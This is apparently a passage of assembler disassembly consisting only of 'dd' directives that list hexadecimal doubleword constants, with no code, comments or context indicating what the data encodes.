		dd 5E31BCD3h, 65F41C89h, 42C3986Ah, 0A000B608h,	0BF99DB8Dh
		dd 91CBCE31h, 79AB060Ch, 0B3054130h, 0B466BD5Ah, 7A021480h
		dd 0B44352D3h, 589054CBh, 4005EBDh, 26B3FD76h, 6E2357h
		dd 39432186h, 0ACC8A8D5h, 5B960FFh, 0FBB3E800h,	0A6EC29A2h
		dd 2B4E416h, 38EBBD32h,	44E02A90h, 3A886996h, 58BEE4F2h
		dd 80DDFC2Eh, 0F8D8C335h, 0E6015145h, 87BB8CA5h, 208E0E4Fh
		dd 6BE044B5h, 971EC333h, 1A00C892h, 0C2D23B7Ch,	94365Ah
		dd 0AD5DBE12h, 26DDB977h, 0D92BE1C0h, 1CC3F6E0h, 8082FBEFh
		dd 9F284F6Fh, 48914E3Fh, 741011h, 7D7F48E8h, 0E9AA6F86h
		dd 80032E38h, 0EDBA6BBCh, 1CF3FDFh, 0D18A3218h,	21C6B59Ch
		dd 0E0C9A024h, 0A196C437h, 830BF9C2h, 0A462B50Ch, 3956CD42h
		dd 89D12D01h, 0FDEE2110h, 11101C00h, 1950AC2h, 0FBCE3E67h
		dd 92F4DA80h, 5FF9AF0Fh, 39AD4209h, 0B2682161h,	5095C6F3h
		dd 0CC00F0B5h, 8E97AD3Ch, 100199BCh, 5371E7CBh,	62EDC4ECh
		dd 9000AC63h, 1F83056Fh, 59F6F49Eh, 0ABBF2C07h,	54D4FC0Ah
		dd 0F29B488h, 0AFDB57F2h, 59944F40h, 3100C192h,	8F178CB5h
		dd 0C0742345h, 8007AEF9h, 204BAA14h, 0BF000AE8h, 0CEB4DC48h
		dd 85020C59h, 846F1E3Fh, 0E30C5095h, 0B99DEF10h, 8BF4E202h
		dd 485E0FABh, 444CB7F8h, 98A8FB39h, 4500BD46h, 0C5F9426Ch
		dd 218F61h, 0A9E28CACh,	0EBA3E02Fh, 0ED75AF13h,	4FF6E800h
		dd 5D828191h, 53829492h, 0C4653FC3h, 422D7000h,	0E8249F15h
		dd 0A05B4EFCh, 0F1023F9Dh, 0AC4C9301h, 33E048D6h, 0A0024C91h
		dd 3700E2DEh, 3D0CF43Ah, 9956E51h, 0E7CE45BFh, 8DC1D010h
		dd 0C68B310Bh, 0E6240005h, 0C011544Eh, 2AFFD499h, 1600967Bh
		dd 0FCC2BF9h, 721E4215h, 0F18B98Fh, 51D8917Ah, 0CE903469h
		dd 545C03F2h, 0EB65808Ch, 0C40843h, 0F95144A9h,	5CB0186Dh
		dd 32367414h, 0DC6E2A80h, 71DE3105h, 0C0C88B8Ah, 0BD580015h
		dd 0FC7D3C13h, 963E4295h, 0E3D095Fh, 0E47412A0h, 35DB01ECh
		dd 0FC2070Bh, 0B8F9FCA5h, 0BE009092h, 0C1AF1961h, 0AEE5EEDh
		dd 7D13738Eh, 1FD30864h, 0A039A8Fh, 0BA40948Bh,	9C58092h
		dd 84999FB4h, 0F244E000h, 90998B4Ah, 0EC17C103h, 3BB9A865h
		dd 9BBE00F0h, 3D3859DAh, 0C127B01h, 54C8AB0Eh, 0CAAC3AF8h
		dd 8C28E0D1h, 5835D580h, 0EE00A4B7h, 78967C37h,	57F04Fh
		dd 0DED93070h, 8B62E954h, 0C27980FFh, 550E924Eh, 975D3BCCh
		dd 87BABC80h, 52A0BE5Ah, 0F600F9F6h, 0AA558C50h, 5C9B37h
		dd 0D3E143E3h, 0C1EA4703h, 3C2CA379h, 0C04D84Bh, 0FCCC2AE5h
		dd 54F11201h, 9A210EF6h, 0C2FAE0A0h, 76003026h,	0BB139DA9h
		dd 0F7A086Bh, 80F7F5C4h, 0E9C9CEAh, 0D7201F2Eh,	36741A7h
		dd 44B9C548h, 523828D8h, 305C02B5h, 0A6642BA9h,	217584h
		dd 0B076210h, 8F724455h, 7CCC5F17h, 579C2905h, 0A77AC005h
		dd 7460BC89h, 8B748430h
		dd 659489h, 786EDFCh, 2FAEA082h, 696BD6BEh, 7CC3Ch, 0EE0AA717h
		dd 0B9D32373h, 0DA00BB24h, 0CD702532h, 9BFCED5Ah, 86BD2C00h
		dd 0F8C54877h, 2D332C88h, 0C3E96064h, 0A2005CBDh, 0B99B1241h
		dd 186BF7Eh, 0A6060A61h, 40CB854Ch, 66537FBCh, 745D3E03h
		dd 1DCC3126h, 41B39F08h, 0D37C5FE3h, 9A3434EDh,	8CB963EAh
		dd 2014168Eh, 0A4F01C5Ah, 0D89500DFh, 9FBEC5E0h, 90A0567Dh
		dd 8B10F603h, 0EE093B25h, 4CC924D7h, 0D1A017FBh, 0FA43CA65h
		dd 6F36005Fh, 705EFC95h, 0E1000C53h, 0C808BA42h, 947BE4F8h
		dd 1E1191E0h, 0F2CE5269h, 0FCC01F92h, 0B66BCC0Fh, 0E7EC00A5h
		dd 61071454h, 395CAEB1h, 8763882Ch, 5C2ACE65h, 3E03C3D1h
		dd 61E8E090h, 8C6AC831h, 0FFE50034h, 1A30CCA5h,	27010BACh
		dd 53E640C3h, 706291A0h, 3D25CC11h, 49DA4F6h, 0B7E4CD40h
		dd 77E71C65h, 2CC8C627h, 850911B8h, 10B9B646h, 918A9AC0h
		dd 0BA0C00A8h, 0ED42178Eh, 1274EF02h, 0E409FC7Eh, 0B6E70150h
		dd 248599F9h, 17A4C48Bh, 49011498h, 36D79E8h, 2C46553h
		dd 0A58A094Ch, 0E84229B0h, 973CC61h, 642DA721h,	0ADBF92C0h
		dd 0FE09A660h, 0C1E6E1CDh, 40602B00h, 0BE1D4009h, 1BEDAC1Dh
		dd 88E38604h, 15CC0FC0h, 0B59F340Eh, 0E26887A9h, 6C612A4Ch
		dd 0C0300D39h, 0FB321D90h, 0ED448079h, 61049670h, 0FDD66307h
		dd 0F6E3678Ch, 3D32800Ah, 1CB01B5h, 25BE4A64h, 0B890F269h
		dd 312E78BBh, 5303A44Fh, 2484383Bh, 47543008h, 5CC59088h
		dd 0F70707C7h, 53B863E0h, 0E03E411Dh, 5BFCDD26h, 0F185D00h
		dd 0ACD6E95h, 1F51DB2h,	0F85A0030h, 0F725BD81h,	0ECED2813h
		dd 52554C22h, 0A02301E0h, 3C3B396Fh, 0DA64F143h, 0DC00CC53h
		dd 72864767h, 627F0328h, 0EC3B1B51h, 0CB5E5B98h, 564A1674h
		dd 66113C41h, 1DC8267Bh, 0A40E48E4h, 5F640577h,	0C0AFCED8h
		dd 97E528CDh, 0DC9D8D00h, 9442D608h, 711E2416h,	6D9F0850h
		dd 0B133328Ch, 0E3A800A3h, 0AD04BD97h, 5DF26DEBh, 0E483EC96h
		dd 0C0B52955h, 74BEBA97h, 9998906Eh, 251A6070h,	1D0108DAh
		dd 7ED2282h, 0CE07C998h, 0D0A195FFh, 40FC552Eh,	0D77395D2h
		dd 0E068872Ah, 90012B44h, 4407A210h, 4D173560h,	5A140C69h
		dd 0C11F4960h, 5020323Fh, 3DE108Dh, 70F14E19h, 0A9009922h
		dd 2F8DA524h, 594AF53h,	0D4281787h, 1AF48075h, 514C7D1Dh
		dd 23809E20h, 847941DBh, 590401C4h, 2DB19A26h, 0B5034CAh
		dd 0CFBD7C0Bh, 5FDF0064h, 1EE5313h, 0B215C3D2h,	0E849B9EFh
		dd 4D609E0Eh, 8FD13181h, 5100078h, 0E003F2FAh, 0E1C02AE1h
		dd 71F8382Bh, 3C0BBBDh,	438B331Ah, 1C551118h, 7DDC3F19h
		dd 0C158094Bh, 3C82BD5Ah, 320462B1h, 0EC68F4h, 3B413F1Ah
		dd 697D9EEAh, 0BE09AA00h, 21668148h, 0F6B61626h, 0C917B1h
		dd 0D4BD5290h, 0A028DFBh, 54EC3AFCh, 0C0F0908Bh, 9B5606A7h
		dd 46C938FDh, 26018212h, 0CC4F8001h, 0D860C540h, 94CE5822h
		dd 0B72CCB04h, 34ECC166h, 9223018Ah, 0BA3E8850h, 3C310173h
		dd 5A0F4B61h, 203DB3h, 4EFDB6BEh, 161628C8h, 0B9D9697h
		dd 0AC985390h, 88A4B298h, 20969EF8h, 52EBCB85h,	312438B2h
		dd 9B90218h, 38C13049h,	0BA108F2h, 4302335Ch, 9C084804h
		dd 7B899F28h, 23197863h, 0F4A65961h, 0AD00953Bh, 88FE874h
		dd 987153Ch, 21349320h,	2B1300Eh, 68EDA3BEh, 0A0722Bh
		dd 43FBEE98h, 0C0727771h, 905FBA1Dh, 1C39B900h,	244607EBh
		dd 40382CEEh, 0BA736216h, 44ADF001h, 7130478Bh,	71B12A20h
		dd 602848F1h, 395210h, 0A78DBCD2h, 2BDEC5h, 90FF2E40h
		dd 814ADAECh, 0C1D3A103h, 0CDF7CAFEh, 0EE8D9C03h, 0C0208D05h
		dd 4122825h, 0F0F8C04Dh, 26CC99Ah, 6BE07130h, 0CEFEEE51h
		dd 989A7B00h, 82040FF7h, 7FD7045Ch, 0E2B5EC2Fh,	0E39A07E4h
		dd 66701564h, 0C0FC2DE7h, 0B7EAD4D9h, 0DF0079D3h, 7DD89D69h
		dd 0B3E294h, 7A28EC73h,	0D7264C45h, 54F5B0Eh, 1C3BE003h
		dd 0E42D6433h, 9BA202D6h, 0AB98321Eh, 14A1C0DAh, 0E9B00870h
		dd 0B880C610h, 0C34C9490h, 21DF2568h, 0DB7AE3A4h, 58007863h
		dd 54923942h, 0A8B80AB4h, 87E01758h, 13B7DA06h,	0EFC5BE37h
		dd 1D2C088h, 0A38972A5h, 0F95986C5h, 30F83280h,	2B1DF1EEh
		dd 4DED009Eh, 225C21BDh, 26001AD1h, 3180F2AFh, 699EF41h
		dd 0F8615723h, 0BE00B90Dh, 0AB3984B9h, 1BE97CB4h, 515E6893h
		dd 1FE6E600h, 0B0B3D6C2h, 0E54F0389h, 870C6FBFh, 1E940AE0h
		dd 66D4E71Eh, 10EAF8CBh, 0B48F7B54h, 83904F28h,	12287C55h
		dd 0D011C518h, 4B6DFE80h, 0D47D2C07h, 7C73848Bh, 98E2B355h
		dd 249B0EEEh, 1018BDACh, 24209679h, 35A48Eh, 0D871E607h
		dd 33CB882h, 0C074B45Ch, 49B3FF26h, 2FAF31ABh, 7231CD41h
		dd 0F6B50BC4h, 1400B96h, 6AB953C8h, 1B2899ACh, 8BC069A8h
		dd 9E49620Ah, 24A400F0h, 0FAC80361h, 20026098h,	7C53620Ch
		dd 561D1099h, 709AAC00h, 24F1C79h, 0CB42291h, 0D4C63199h
		dd 1171EE00h, 0A8C3DB82h, 0F33309CCh, 50A2D43Ah, 0BE009CC0h
		dd 0A454618Ch, 0F54400DCh, 0E45DF9E1h, 0C8011E47h, 0F6C17B4h
		dd 0C8706FFCh, 803C96B8h, 2F52E88h, 563BDD2Fh, 68052E8Ah
		dd 3479804Eh, 79ED6CBh,	0A6C0A730h, 3B0F08Ch, 570AB53Fh
		dd 3C53FD87h, 56554E00h, 0A07DC01h, 928C4023h, 2D4B60E4h
		dd 0B6245987h, 0C8A95057h, 0DB18E580h, 6CF730h,	7C566334h
		dd 0A4C259A1h, 791B10Ah, 230C9497h, 98516Ch, 0D78B3B56h
		dd 9FAA0C93h, 15305404h, 2C814EB0h, 0E08A716h, 0E07EA1CEh
		dd 372AC92Ch, 4D5B001Ch, 5E2046E3h, 547B27B4h, 174CE24Ch
		dd 582CAB53h, 382000Dh,	99B88A83h, 98B1F959h, 0D6B0B994h
		dd 8037F808h, 0FEE1F210h, 0F600B156h, 74AC04E0h, 89DF0Fh
		dd 4F0EA55Eh, 5481531Bh, 23180B95h, 0AE93ABECh,	20444A19h
		dd 56C5AD20h, 69172703h, 0BAE06A71h, 0ED82E0B4h, 11DC949Fh
		dd 0BE20007Ch, 0C96F0DCFh, 5EB815h, 8E5EE0D0h, 798AA993h
		dd 6806CA3h, 80038B42h,	27972C03h, 0BBE8B88Dh, 0B519886h
		dd 0BF2EAD64h, 4C95E482h, 0A5D36500h, 0B6E7CA2h, 10EEFC84h
		dd 100AB491h, 1FB5476h,	61378094h, 6030D92Eh, 0E490A194h
		dd 0EC32FDh, 10F813C4h,	0C4DE6DDh, 0B63224B0h, 0A6FEE584h
		dd 0ABBCD802h, 40BF93E8h, 90B90C08h, 5EA53FC8h,	3BCC00C2h
		dd 79379254h, 877CB41Fh, 5071752Ah, 349AA878h, 643E0173h
		dd 0C90C00E2h, 0C576D2ECh, 1EED132Eh, 43D02229h, 0DAE72B20h
		dd 286D5053h, 9CA432h, 0D7E0E6D2h, 0EC28F0A9h, 16A1FC0Bh
		dd 87400215h, 0A4070B3Dh, 7B09486Ah, 4C892A6h, 824036D4h
		dd 8076396Dh, 3422F91Ch, 88F8BA80h, 9589C3F7h, 0B6809409h
		dd 1EB86504h, 7C9752h, 0E44D400Ah, 10F98C9Ch, 27B478Eh
		dd 87823712h, 0FCFA8Bh,	9473178Ah, 34CFE951h, 30CD5C2Ch
		dd 0B4289B16h, 8CDF008Eh, 0AAE35114h, 2C1E18D6h, 5480EBDCh
		dd 0FFCDF38Ah, 1BD90555h, 0C1631E4Fh, 148D284h,	0A46CB798h
		dd 8D5AACA0h, 9F72B800h, 55EA6E93h, 687500C4h, 0CC1A6023h
		dd 5A05306Ah, 13B059D6h, 0A4309095h, 0C3AEE8h, 0C8F0E042h
		dd 1310666h, 656C1B00h,	0B36726Eh, 0A241123Bh, 64F301A3h
		dd 0E143EE23h, 9E2CEDCFh, 0F8C03A08h, 0A9121A76h, 803907B6h
		dd 96A5A14Ah, 4B302091h, 5A41089Bh, 2606006Ah, 43188B30h
		dd 7E319A54h
		dd 45BA5884h, 2F805100h, 905040DEh, 7721E400h, 0CAE5C1B1h
		dd 347CD807h, 216CA7A1h, 0E6131831h, 3C6FA873h,	18C0757Fh
		dd 83F06D89h, 0D215002Bh, 98BF3093h, 0C0ECA987h, 40001377h
		dd 333CF610h, 9875DB46h, 49206F08h, 0C2CCB380h,	5C004EBCh
		dd 60BB7843h, 0A42682Fh, 0AD8ACFB5h, 359E3C6Ch,	8DE71D2Ah
		dd 0F0209F43h, 2E88A04Ch, 8F7E7Ch, 984F1DF4h, 0D9C448B6h
		dd 5938E44h, 1F72F2E1h,	9CB840A3h, 0D166C38Bh, 7CBB20C6h
		dd 0B5170019h, 6D39AB1Bh, 0C1733356h, 0EF032B0Eh, 5B36E069h
		dd 1EBA9B58h, 0C312A59h, 0D6387429h, 8C9EA12Ah,	0B2B6E115h
		dd 5DA80098h, 0DDA4D9C0h, 255F06Ah, 7CAB993Dh, 0DB6041CDh
		dd 2E29E164h, 7B095843h, 8DC180E4h, 1EF07621h, 897446DCh
		dd 0DE00DA31h, 3AB3AF23h, 968DB203h, 901E876Dh,	273D42h
		dd 0A3E148A4h, 0E376B0ABh, 0E53B48C3h, 0F51CA869h, 0B6E018DDh
		dd 0C4A3F1A0h, 4CF46A00h, 0AC831E5Ch, 0A148007Ah, 0C9C8A854h
		dd 2E494372h, 8AE20044h, 0CBE78D99h, 7AFA3EDAh,	57DB0CFBh
		dd 45508808h, 58252430h, 7C0DACFh, 29EA84E1h, 30E3122Fh
		dd 8C3910E1h, 29B77820h, 8EF23ED6h, 9AB0180h, 5170E83Bh
		dd 403E171Dh, 0F9C7CA1Eh, 79055BAh, 1825D745h, 0C1A2C572h
		dd 0C407C887h, 2BDB8DA5h, 0B8F36200h, 38FFCCAh,	43934F0Bh
		dd 5F560DFh, 27AA8B4Ch,	0BF841B4h, 21DC47E7h, 30231575h
		dd 200F5CD0h, 346D04h, 320B8955h, 293C0061h, 0D9C96CDDh
		dd 0A50C9833h, 5926EE12h, 5DD24C52h, 9F4B3E0Ch,	8E78B061h
		dd 876ECA3Dh, 150332F7h, 0D345D203h, 4C3900B6h,	88D18FDBh
		dd 2B00A0BAh, 4B8D4233h, 0FC5E51C8h, 73960029h,	4078FB23h
		dd 8C0067ABh, 420C608Ah, 1227B09h, 0AA4EB630h, 0D0E4A67Eh
		dd 8C00B78Bh, 0B2F8BB64h, 0FE3A7526h, 14D2F497h, 80F28DA8h
		dd 2B57E780h, 6E00A919h, 0A13F14A5h, 3C5DFCh, 0D664E323h
		dd 2DFEC942h, 560B6004h, 0A8C0F17Ah, 9E521A4h, 6A334BDBh
		dd 37353007h, 6B4190ACh, 873AC33Ah, 59451469h, 73497D74h
		dd 0EB821424h, 0C53AF9h, 0F3DC80E2h, 0E7E114h, 5E3BF843h
		dd 0C5880C89h, 45A99D62h, 8BB4902Dh, 19A163AFh,	0ACE07619h
		dd 0E9028D6Dh, 3D97DBCCh, 0A033E3CDh, 912E60DDh, 47759F48h
		dd 0B2DCC8BEh, 28443757h, 2F221800h, 0AF64461Bh, 0CD720913h
		dd 0C0904328h, 0E900B4F4h, 0C0BF68B9h, 0FE314076h, 0F015CA7h
		dd 52616230h, 0B30012EAh, 6E9C2F6Ch, 3271757h, 861EFFF4h
		dd 290220C9h, 32EEA773h, 9C1FE8F7h, 46271842h, 89783888h
		dd 57229C0h, 0E0D97h, 0DD19D42Ch, 2A1AF6AFh, 0EAECA90Fh
		dd 80120B36h, 0A39B74AEh, 0EDECA68Bh, 809849D1h, 0B0585146h
		dd 2904A558h, 2B11C88Eh, 0BAD2D500h, 0BD0E187Dh, 90DF1A00h
		dd 3913DAE0h, 36411C23h, 0C738C0C1h, 0F1A69FE1h, 423CC0A8h
		dd 0ECBC5002h, 0E0BAE83Eh, 2DE690Dh, 0A7352ED1h, 0B0816DF4h
		dd 21E2373Dh, 0DC48F2D5h, 909AAABBh, 0C9055300h, 21DDD913h
		dd 1D572BC6h, 8D7302A4h, 44689C9h, 0D0DA13E9h, 79DCB29h
		dd 0C670AB5Bh, 2EFF00C4h, 0E70327E4h, 0F8AF90FCh, 0D1A0C791h
		dd 0C9D7F14h, 8A4C25D5h, 7900FE51h, 57901704h, 11AE3A7h
		dd 5F92D02Fh, 504942AFh, 88689990h, 0B1C7B002h,	0E0343D48h
		dd 997F2C75h, 0A298BA1Ch, 60E13130h, 0A9CE74ECh, 6E9121C4h
		dd 0AC41E2E4h, 29803145h, 8B0248BEh, 1D004F11h,	470D629Bh
		dd 24351576h, 90309853h, 24B85B3h, 0A8D65888h, 1CD744A0h
		dd 0CB8EC8EBh, 6481971Bh, 7013B5BCh, 0C2001282h, 9C9B78F3h
		dd 18BBACF4h, 8143E621h, 0AD6403C4h, 7CC02E49h,	0E9202B2Dh
		dd 5A23E4h, 7DD8543Ch, 0DDE31CE7h, 0D016B605h, 0C090EFB8h
		dd 91781341h, 55A303CCh, 958A615h, 882E2920h, 0AEC72A90h
		dd 0C70F60ABh, 8B2C57FCh, 5106F047h, 0A0599C4Bh, 191704Ah
		dd 45DB9528h, 49A49FB2h, 0E4E00CB0h, 16613500h,	65E76234h
		dd 880F0CA1h, 8E2198C8h, 7923C930h, 0F375AB3Eh,	4C3418F8h
		dd 0B8804CCBh, 0C81DD927h, 4CA82D00h, 36F5A167h, 89541F40h
		dd 9756027Eh, 0B4E652EBh, 358C1509h, 58D700F6h,	24708DCBh
		dd 838C7643h, 0C7D61BAFh, 92AD83F8h, 60C6F400h,	309089FAh
		dd 299C0017h, 19640F35h, 0A098257Fh, 96B0C800h,	61A3722Fh
		dd 0CCAB54B7h, 483C0122h, 9BEB7797h, 0A0880FCh,	40ECD52h
		dd 62050E4Dh, 0BC200C4Bh, 0CBA94027h, 0B949DE00h, 2D85A256h
		dd 1D723050h, 0D94F6B30h, 0F8ADB601h, 790B3FE3h, 0DD874983h
		dd 17F0D474h, 0C10F25DCh, 5840675Dh, 749C8320h,	1E261E85h
		dd 0B4287CCEh, 0DD02408h, 0F75002Fh, 0E5B97404h, 0AFAD760Fh
		dd 80A5E07Eh, 30A40193h, 4E200953h, 8C016805h, 0FA8BF784h
		dd 57D8EB87h, 0E8E2878h, 0D49C310Ch, 0CC997498h, 890052CBh
		dd 134F83D7h, 1DE0B77Ah, 8CEA31B3h, 0CD28FBF6h,	0F1BB2E00h
		dd 9B9FA64Fh, 0A241C0D2h, 0FE867FD0h, 9EEB307h,	0BFE038B8h
		dd 0EB7EF4h, 0BC5D6E08h, 5E947BEAh, 0F0C033B8h,	0F723989Ah
		dd 0AE4E014Dh, 1E6822C5h, 1D35D879h, 0D673BD00h, 0E574A1A4h
		dd 4EECEB3Fh, 2A7D3AC3h, 0D7E4D100h, 6EA320A5h,	9E2C3D03h
		dd 0A2D537Eh, 156D2FA9h, 527B8ABCh, 0D515BE8Ch,	370EB833h
		dd 914049EEh, 0FD19CEC9h, 0BCAC0D00h, 0EFB24AE7h, 8FE0018h
		dd 0CB7E3947h, 0E930F12Eh, 0B56BF1CEh, 9F21Bh, 0AEE3C5B2h
		dd 0D9176D2Eh, 0B66A5802h, 9008CA4Ch, 0AB7856ECh, 63DDE0DCh
		dd 0B3D40C10h, 0A42073F1h, 59D39C30h, 2F0A88h, 8F32FA03h
		dd 58A16D26h, 3FD97703h, 9CC94F1h, 0F60DBA29h, 4BE0688Eh
		dd 0E1665DBCh, 2C233700h, 20927183h, 0D67C0A32h, 61F4A1D7h
		dd 0CA5918B1h, 50B1DC0h, 86E55A05h, 0F4489C0Ch,	7B026E4Fh
		dd 0A8900B4Bh, 11887387h, 538A00E8h, 0F108D35Eh, 0E1C186EEh
		dd 6A0B5226h, 36512980h, 0B91A95A3h, 5AEEE600h,	0AC8A2EECh
		dd 0C1F4FFA1h, 0FB0F0677h, 69351610h, 4E00FC76h, 0B4A40782h
		dd 797CF5FFh, 0A848FB6Fh, 0D92F0A6Bh, 80460h, 0A103D8EFh
		dd 0C373BA48h, 82797801h, 8FA81B7Fh, 1A80A047h,	0F036FF3Bh
		dd 0EA10C090h, 0B1B9D14Dh, 852318A0h, 9AA6B80Ah, 5B40D8ADh
		dd 317EA240h, 0D5711C4Ch, 1B798F34h, 4DD2207Bh,	0F93303Ch
		dd 7FC6E2BAh, 0BE1547E1h, 75DDC077h, 6D163206h,	13907D0h
		dd 14F0C02h, 0EFF97B21h, 8A3F5900h, 25A716F4h, 0D1C40011h
		dd 0B22613D7h, 0A8A91810h, 0C1E420F9h, 7101C4A4h, 3A06B4BFh
		dd 49802C16h, 0E67591B7h, 0A5057081h, 0E1EA595Ah, 4A042B0h
		dd 97F1D6AFh, 160893AEh, 0E10F399Eh, 215ABED4h,	0CFAFD14Ch
		dd 848A2895h, 0EE88327Eh, 0AC440B79h, 0C94D7501h, 30B181C0h
		dd 889308Ch, 0F3880959h, 51261E69h, 122D8185h, 25E9882Ch
		dd 36304264h, 5A8A0C2Ah, 0BE008430h, 0B1149CCEh, 0FA58CDD4h
		dd 498CDDB1h, 32FFF1C0h, 50163C88h, 0F4023B24h,	48A38307h
		dd 0AD81E110h, 0CE747187h, 0CBAB32BDh, 6EF60880h, 4770654Bh
		dd 0B45D3601h, 28F053D4h, 2A8CE824h, 6881C8h, 528BEC43h
		dd 26F1196Ch, 7FCC8F48h, 6B019C05h, 9420B0D4h, 0BAFAA4h
		dd 7CE2ACB1h, 5B355CA1h, 75188F00h, 5E5F1D0Dh, 0BEF248h
		dd 13FFD887h, 0F32B896h, 0E1C21804h, 1C830D0Ch,	445100EBh
		dd 5514627Eh, 1D00D8A9h, 4525FA52h, 486CA8BAh, 0F602148Dh
		dd 0C9AF63DBh, 0A1A37080h
		dd 85E14D7Eh, 0AD2BB9C1h, 1400E053h, 0EE7651C0h, 61033C2Ch
		dd 508C828h, 0D7464905h, 54B84109h, 0E71C3C94h,	6BD67FD0h
		dd 110A99DEh, 0BCC467h,	88F1C68Dh, 0C15392Eh, 0F20EB1BFh
		dd 8539FB11h, 26EE8A45h, 0D910ECA0h, 4233B584h,	44F548A4h
		dd 99AB070Ch, 0D73827B9h, 0A3411019h, 35044E65h, 6D3AC568h
		dd 675E65C0h, 12FF053h,	64BC131Dh, 0BA7B6B31h, 50A07EE9h
		dd 0F418A32Eh, 0B5110ADFh, 60785438h, 6ED6060Dh, 0E10B4587h
		dd 0F6077CF8h, 57E0BA80h, 35AF8CC1h, 0B8F97420h, 14C72214h
		dd 47107101h, 0A20198FBh, 4C4C0821h, 0E936070Ch, 0F6F05A55h
		dd 6D0019D5h, 32A2BD2Ah, 2689AE88h, 9EE316Ch, 2410D5CEh
		dd 8C00B5B4h, 9C961F77h, 69C461h, 8012D650h, 6B02B6F9h
		dd 58A82EF4h, 0E300F56Ah, 8C6F91CEh, 196D036Eh,	217D8431h
		dd 86299h, 273285AEh, 0A5FE09Ah, 0F0D7A795h, 41F340ECh
		dd 7B18020Fh, 0C4D05C4Ah, 78230FBDh, 0AF079BC2h, 0E72F620h
		dd 0B08A4C1Eh, 8175ECC0h, 0F616B45Ch, 0C4F600AFh, 0ABC5BED8h
		dd 1031E13h, 0C6129DB1h, 0EC380045h, 27FD7105h,	3003061h
		dd 0CA0D402Fh, 3DF804D1h, 0D5034CCEh, 0BDB36E3Ch, 453F6100h
		dd 8055ACE9h, 8DAB0050h, 0D507F57Fh, 6F506E40h,	0A93A4114h
		dd 6B6860E9h, 3AB79E66h, 73014665h, 0A161AB1Dh,	6F2180E8h
		dd 0E91EBD8Ah, 24C60051h, 0DA64E11h, 40288C66h,	6D28245Eh
		dd 3B0330A4h, 0D4D608B0h, 0BB8BA1D7h, 0FBDD1980h, 0E8D052EBh
		dd 0A4B2FD03h, 0D0D24D67h, 0A7D5FB6h, 306F86E0h, 23DC8C80h
		dd 7F00AA7Ah, 397E650Ch, 18D8553Bh, 79E11CAEh, 30A0C3E3h
		dd 0ED6824B3h, 700A919h, 97137B3Dh, 0F2500095h,	846D115Bh
		dd 0BB011C58h, 576AA1B3h, 4180AE8Bh, 0F44EB19Ch, 520ECF0Dh
		dd 80641695h, 94464DB4h, 50CC007Ch, 0EBC2F284h,	2730B1DBh
		dd 1CE238A1h, 1EE602B8h, 49D256E8h, 0D161D4E0h,	0D34DD817h
		dd 0B1E32604h, 30305486h, 0C208A359h, 1B00A6CAh, 0D4957B20h
		dd 18B5B648h, 219F787Dh, 0EE000D5Dh, 2E3024A5h,	18DC44E6h
		dd 0F1A234B1h, 7240151Dh, 9C4154C5h, 7D91FBBh, 3F8680B5h
		dd 293D6C73h, 774548h, 0A2B3A582h, 0F36F15Ah, 70688777h
		dd 39443838h, 8679A462h, 0D5C49066h, 0C7D703DCh, 0E7BC3E45h
		dd 0C461213Bh, 0A0B2548Ah, 10890343h, 0F565DAD8h, 0DC91EAF8h
		dd 7FA21703h, 31603644h, 8A318070h, 0B63980B1h,	0E8D9418Dh
		dd 6D140007h, 61ADAC9Dh, 5200E27Ah, 8AFBED2h, 0F603AD5h
		dd 77D69EE9h, 3DD4FC00h, 80916C6Eh, 7C505E90h, 0B48B3750h
		dd 0B018F719h, 0E949E685h, 9C8C7600h, 2290C059h, 0F05101E1h
		dd 7FF3CF24h, 1A8051A0h, 609961AFh, 3890D64Fh, 18F5EE44h
		dd 299D3445h, 5E006074h, 91660A9Eh, 88E95B40h, 8891716Dh
		dd 74187890h, 0A9C3399Eh, 0A1921C07h, 222271B2h, 3EE49116h
		dd 61702910h, 51940500h, 5381CA93h, 0C3220F9Fh,	0D405BE1h
		dd 6D8EB9CCh, 692C3C05h, 4C06BC3Fh, 2C89E244h, 0D5DFBEh
		dd 25E89879h, 621CA757h, 680D36FBh, 0BED0319Ch,	80A5502h
		dd 0A9C8F4h, 0DB9F5713h, 0A1A27E0Ch, 0C94B6213h, 6E6F3000h
		dd 636386BFh, 419DB173h, 20456DB1h, 48C3F3BBh, 2BC670h
		dd 922E2C21h, 0E7559817h, 0EF51C70Ch, 5967132h,	86C67FEEh
		dd 9A280164h, 0E4D220D6h, 0E37F9DB4h, 4AA8BC54h, 975A2300h
		dd 0D5EA85A3h, 0B3870248h, 600DE088h, 0A91CB060h, 8A492E67h
		dd 73F439ECh, 21C7000Ah, 2EF6080Fh, 0CBE27BD5h,	0B5543713h
		dd 43412420h, 141DE684h, 0EC78EDC1h, 484B0840h,	0FE80788Bh
		dd 0F1769255h, 703E6602h, 0E03043E3h, 1B7E2ABFh, 0E1883B45h
		dd 372CD822h, 0C241D544h, 0B444B60Ch, 2A51723Eh, 6D24B015h
		dd 5944206Eh, 0D008C8h,	14964257h, 93E6A495h, 9DABDC18h
		dd 6B2A629h, 0BB3C45D6h, 1EE830F2h, 0D0C5B401h,	44E419ECh
		dd 0BD039C32h, 0B0BBC48Eh, 520439F0h, 0B0ACD43Dh, 4633D04Dh
		dd 0CABF02D8h, 0B1719D23h, 0FE92C7C0h, 0E970ED00h, 52ABF784h
		dd 801901BEh, 836CBB96h, 0E0C4473Bh, 0A540CE0h,	63E3580Eh
		dd 0F41C6034h, 1E9746h,	0B6A4AB33h, 0BBC88905h,	31A2AF1Ch
		dd 0DBD30482h, 184668h,	0C4C53B8Eh, 1C302C96h, 2DC4A06h
		dd 4B2144C6h, 45DEC0AAh, 158BD0Ch, 1F550059h, 0E3C419A2h
		dd 6528C45Dh, 0D2D0872Eh, 5841E1D9h, 7AC81030h,	9F7F34BDh
		dd 7464D8F0h, 1F2F31Fh,	30105DD3h, 0BBEA0908h, 2488807Ah
		dd 3A4A4E31h, 56003925h, 8CDF6698h, 377CE2E8h, 0A86DBC00h
		dd 4DB9D37Ah, 1C5606DCh, 3822E15Fh, 0CB24EC04h,	38C97BF3h
		dd 5822ABFDh, 45856048h, 86FC213Fh, 49B42360h, 0D4FD0280h
		dd 106D6E3Eh, 0ECB15F41h, 0DB093690h, 0EC2254C3h, 55BDE2h
		dd 0D81AFFD8h, 0F9960EDCh, 3F2E94Eh, 0DE08B398h, 46C54118h
		dd 1FF0A71h, 34578B48h,	7079F8ABh, 0C96738CCh, 58A119A8h
		dd 6041AA1Dh, 6C4478F2h, 0C64EC3C0h, 0ABEA74h, 1AB00B5Ch
		dd 0F32BF8F7h, 809F4A3Eh, 0A81CCFAAh, 54281AFh,	1369737Fh
